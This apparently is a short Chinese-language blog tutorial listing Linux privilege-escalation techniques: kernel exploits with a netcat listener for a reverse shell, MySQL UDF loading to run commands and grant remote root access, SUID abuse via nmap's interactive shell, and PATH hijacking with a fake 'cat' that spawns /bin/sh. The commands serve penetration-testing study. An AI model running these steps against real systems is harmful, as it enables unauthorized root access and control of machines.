简单概述Linux的几种提权的办法。
内核溢出提权
# 查看系统内核版本
uname -r
找到对应的内核版本的exp
上传–>编译–>运行
# 上传,一般是上传到了当前目录,需要移动到/tmp目录下
# 编译,需要反弹连接我,然后开始侦听
nc -l -n -v -p 12345
# 运行
# 如果输命令没有回显,表示内核利用失败
mysql udf提权
上传库文件
执行库文件创建命令执行函数
比如把32位的代码导入到/usr/lib/mysql/plugin/mysqludf.so
# 也可以
create function sys_eval returns string soname "mysqludf.so";
select sys_eval('whoami');
# 有时不能root外连,开启外连 (mysql提权工具)
Grant all privileges on *.* to 'root'@'%' identified by 'cc4789.com' with grant option;
SUID提权
# 查找具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
# 发现nmap具有suid权限
namp> !sh # 获得一个root权限的shell
环境变量劫持高权限程序提权
就是修改环境变量,如果用户执行ls命令时,真正执行的是attacker自己写的恶意的ls命令。当然,要提权的话,需要suid权限。
# 查找suid权限的文件
find / -perm -u=s -type f 2>/dev/null
# 利用file命令查看文件是否可执行
file namp
# 执行该文件,执行时可能会报错,根据报错查看调用系统命令 (要是不报错呢?)
~$ ./msgmike
cat: /home/mike/msg/msg.txt: No such file or directory
# 伪造cat命令
~$ touch cat
touch cat
~$ echo "/bin/sh" > cat
echo "/bin/sh" > cat
# 修改$PATH,使运行自己创建的cat(/bin/sh)
网友评论